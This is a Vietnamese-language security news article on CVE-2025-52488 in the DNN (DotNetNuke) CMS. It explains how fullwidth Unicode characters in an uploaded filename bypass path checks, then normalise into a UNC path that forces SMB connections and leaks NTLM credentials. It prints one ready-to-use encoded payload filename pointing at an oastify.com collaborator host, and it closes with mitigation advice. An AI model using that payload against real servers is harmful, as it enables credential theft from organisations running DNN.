Các nhà nghiên cứu bảo mật đã phát hiện một lỗ hổng nghiêm trọng trong DNN (trước đây là DotNetNuke), một trong những hệ thống quản lý nội dung mã nguồn mở lâu đời nhất. Lỗ hổng này cho phép kẻ tấn công đánh cắp thông tin xác thực NTLM thông qua một kỹ thuật tinh vi bypass quá trình chuẩn hóa Unicode.
Lỗ hổng này, được theo dõi là CVE-2025-52488, ảnh hưởng đến nền tảng CMS cấp doanh nghiệp được sử dụng rộng rãi và minh họa cách các biện pháp mã hóa phòng thủ có thể bị phá vỡ thông qua các khai thác được thiết kế cẩn thận, lạm dụng những đặc thù của Windows và .NET framework. CVE-2025-52488 là một lỗi bảo mật đáng kể cho phép kẻ tấn công thực hiện các lệnh gọi SMB tới các máy chủ tùy ý mà không cần xác thực.
Chi tiết Kỹ thuật của Lỗ hổng
Nguồn gốc và Cơ chế Khai thác
Lỗ hổng xuất phát từ một điểm cuối tải lên tệp (file upload endpoint) trước xác thực trong trình soạn thảo HTML của DNN, cụ thể là tại FileUploader.ashx.cs. Mặc dù các nhà phát triển đã triển khai nhiều ranh giới bảo mật để ngăn chặn việc thao túng đường dẫn tệp độc hại, lỗ hổng này vẫn khai thác quá trình chuẩn hóa Unicode xảy ra sau các biện pháp bảo vệ này.
Vector tấn công tận dụng hành vi nguy hiểm của hàm C# Path.Combine, bỏ qua các thành phần đường dẫn trước đó khi đối số thứ hai chứa một đường dẫn tuyệt đối. Khi kết hợp với các thao tác hệ thống tệp của Windows như File.Exists, điều này tạo cơ hội cho kẻ tấn công kích hoạt các kết nối SMB tới các máy chủ do kẻ tấn công kiểm soát, có khả năng làm lộ thông tin xác thực NTLM.
Lỗ hổng khai thác hàm DNN ConvertUnicodeChars, hàm này chuẩn hóa các ký tự Unicode thành ASCII sau khi xác thực bảo mật. Các nhà nghiên cứu đã phát hiện ra rằng các ký tự Unicode cụ thể — U+FF0E (dấu chấm đầy đủ) và U+FF3C (dấu gạch ngược đầy đủ) — vượt qua các bộ lọc bảo mật ban đầu nhưng được chuẩn hóa thành dấu chấm và dấu gạch chéo ngược tiêu chuẩn trong quá trình chuyển đổi ASCII.
Quy trình Khai thác
Quá trình khai thác bao gồm việc tải lên một tệp với một tên tệp được tạo đặc biệt có chứa các ký tự Unicode này. Tên tệp sau đây minh họa cách kẻ tấn công có thể xây dựng các đường dẫn UNC vẫn tồn tại sau khi xác thực ban đầu nhưng trở nên độc hại sau khi chuẩn hóa:
%EF%BC%BC%EF%BC%BCoqi3o3fv9cpyquhbd6h8bx19a0gs4nsc%EF%BC%8Eoastify%EF%BC%8Ecom%EF%BC%BC%EF%BC%BCc$%EF%BC%BC%EF%BC%BCan.jpgTác động và Biện pháp Giảm thiểu
Lỗ hổng này làm nổi bật mối đe dọa dai dẳng của việc đánh cắp thông tin xác thực NTLM trong các môi trường Windows, đặc biệt trên các hệ thống cũ lưu trữ các ứng dụng kế thừa như DNN. Cuộc tấn công thành công vì quá trình chuẩn hóa Unicode xảy ra sau khi các ranh giới bảo mật được kiểm tra, tạo ra một lỗ hổng dạng Time-of-Check-Time-of-Use (TOCTOU) cổ điển. Lỗ hổng này cũng ảnh hưởng đến người dùng đã xác thực thông qua một điểm cuối tương tự trong Browser.aspx.cs, mặc dù vector này yêu cầu xác thực.
Các tổ chức đang sử dụng DNN nên cập nhật ngay lập tức lên các phiên bản đã được vá lỗi và triển khai các biện pháp giảm thiểu ở cấp độ mạng để ngăn chặn các kết nối SMB tới các máy chủ bên ngoài. Việc phát hiện ra lỗ hổng này nhấn mạnh tầm quan trọng của việc xử lý Unicode đúng cách trong các ứng dụng quan trọng về bảo mật và sự cần thiết của việc kiểm thử bảo mật toàn diện có tính đến các phép biến đổi mã hóa ký tự trong bối cảnh các thao tác hệ thống tệp.
